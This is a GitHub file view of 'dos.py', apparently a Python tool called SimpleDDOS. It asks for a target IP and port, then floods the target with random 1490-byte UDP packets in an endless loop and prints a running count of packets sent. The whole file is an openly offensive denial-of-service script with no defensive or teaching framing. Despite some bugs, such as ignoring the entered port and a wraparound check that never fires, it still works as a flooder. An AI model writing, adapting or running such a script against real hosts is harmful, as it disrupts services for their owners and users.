-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathdos.py
More file actions
53 lines (44 loc) · 2 KB
/
Copy pathdos.py
File metadata and controls
53 lines (44 loc) · 2 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import os, socket, time, random, datetime
from colorama import Fore
class color:
RED = Fore.RED
RESET = Fore.RESET
date = hora = datetime.datetime.now()
hostname = socket.gethostname()
ipv4 = socket.gethostbyname(hostname)
def clear():
if os.name == "nt":
os.system("cls")
else:
os.system("clear")
def menu():
try:
clear()
title = f'''
██████╗ ██████╗ ██████╗ ███████╗ [-] Copyright ©2024 By ZombieGeek0
██╔══██╗██╔══██╗██╔═══██╗██╔════╝ [-] GitHub: https://www.github.com/ZombieGeek0/SimpleDDOS
██║ ██║██║ ██║██║ ██║███████╗ [-] Hostname: {hostname}
██║ ██║██║ ██║██║ ██║╚════██║ [-] IP: {ipv4}
██████╔╝██████╔╝╚██████╔╝███████║ [-] Date: {date}
╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝
'''
print(color.RED + title)
mydate = time.strftime('%Y-%m-%d')
mytime = time.strftime('%H-%M')
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1490)
ip = input(f"{color.RED}[-] Target IP: ")
port = input(f'{color.RED}[-] Enter your attacking port: ')
print(f"{color.RED}[-] Attacking on: {ip} and port {port} at time {date}...\n")
time.sleep(2.5)
sent = 0
while True:
sock.sendto(bytes, (ip, 1))
sent = sent + 1
print(f" | [ Sent Packet: {sent} through {ip}:{port} at time {date} ]")
if port == 65534:
port = 1
except KeyboardInterrupt:
print(f'\n[-] Ataque detenido a la IP {ip} por el puerto {port} a las {date}\n')
print(color.RESET)
menu()